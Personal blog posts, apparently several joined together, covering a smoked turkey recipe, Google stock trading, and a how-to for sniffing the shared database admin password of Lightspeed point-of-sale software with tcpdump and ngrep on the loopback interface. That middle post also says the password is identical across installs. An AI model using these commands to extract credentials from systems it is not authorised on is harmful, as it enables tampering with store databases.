We did Thanksgiving a little early this year, so I cooked the bird early this Sunday.

First things first, brine:

2 gallons water
2 cups kosher salt
1 cup sugar
1/4 cup dried tarragon

I brined the 15lb bird from Friday night to Sunday morning. At 7am on Sunday morning I put her in the egg, at 325 with some pecan wood chips.

Then I went back to sleep. At 11am I woke up, took a look at the Stoker screen on my laptop, and the breast was at a perfect 180F. Pulled it out, bundled it up in tinfoil and a blanket and hit the road to head home.

And here’s the stoker log:

The end result? Best turkey I’ve made yet. Even the white meat was moist and tasty.

Having recently invested in a retail store, I had to go through the unenviable process of choosing a Point of Sale software. Doing this is NOT fun. The software is expensive, and if you don’t like it 6 months later its not exactly trivial to switch to another POS software. Once your inventory is loaded in, you really don’t want to have to switch.

Anyway I ended up choosing XSilva Lightspeed. For the most part we are very happy with it so far. The only thing I don’t like is that it doesn’t have a way to automatically email out reports. I’d like to see what kind of sales the store is doing on a daily basis. Since the whole thing is based on OpenBase/SQL, I figured it would be trivial to write some tools to generate and email my own reports. I did a quick search, and came to find out that XSilva keeps the database password a secret. Lame. Granted, I didn’t try to call their tech support and insist that I wanted it but it seems like from responses on their forum that they won’t give it up.

So here’s how to hack it:

On the machine that has Lightspeed and the server, fire up Lightspeed but don’t login. Open up a terminal, and I’m assuming you already have tcpdump installed.

/usr/sbin/tcpdump -i lo0 -s0 -c 1000 -x -w dump

Run that tcpdump, and then login to lightspeed. Once LS has logged in, you can Ctl-C the tcpdump.

Now use ngrep to pull out the login information from the dump file:

ngrep -wi "dbpassword" -I dump


The output of this looks like:

input: dump
match: ((^dbpassword\W)|(\Wdbpassword$)|(\Wdbpassword\W))
##################################
######################
#########################
T 127.0.0.1:56526 -> 127.0.0.1:20223 [AP]
….|dict|….action….call_register….usersAllowed….1000
….dblogin….lightspeed….dbpassword….adminXXXXX….userlogin….light
speed….hostName….192.168.3.180….databaseName.
…xsilva_db_217demo….softwareId….Lig
htSpeed:REALbasicCM….processId….0016CB08
4925_21777781….
########################


See the adminXXXXX? That’s the db admin password. I redacted the actual string. I’m HOPING that they actually use a random string for every LS install. I didn’t verify on another install that its different. If not, I don’t really want to publish the password for every LS SQL database. However, they are retards if they don’t use a random secret.

Now you can go nuts on the database.

Update: I’ve verified on 2 installs that the admin password for the SQL is the same. Lesson here: firewall off your POS or anyone can modify your store database.

I just read an article at Vestopedia about why the author sold his Google stock at $741. His reasoning was based on an article by Stephen Dubner (of the ever-popular Freakonomics) about regression to the mean by athletes.

Thing is, I don’t agree with the reasoning that Google should go lower because their freakishly high growth rates can’t continue and they will regress towards more “average” growth rates. Companies aren’t coin flips, they don’t follow statistical rules. Google has seen exceptional growth because they continue to innovate and add real-estate that allows them to grow at an incredible rate.

So why did I go short at $700? Obviously Google had already slid $40 points, but they could have stopped there right.. I shorted GOOG at $700 because the market is fearful and uneasy. I don’t have any doubt that Google will continue to grow at an incredible rate. Online ad spend isn’t going to decrease, and Google is constantly finding new ways to deliver ads. Android doesn’t excite me yet either, and a lot of their stock price was based on the GPhone. Bottom line is that while Google will continue to grow, I don’t think it merits the current multiple EVEN at extreme growth rates. It needs to come back in line. So far I’ve been reasonably correct as the stock has found support at $630. I’d probably cover at $600. We’ll see what happens next week. Right now the market is still scared, and I’m not ready.

I was going to cross-post this on Shoemoney, but I’ll just link it instead.

Here’s what a crappy day looks like. Of the greens, I’m long one, no longer holding one, and am SHORT one. I need a drink.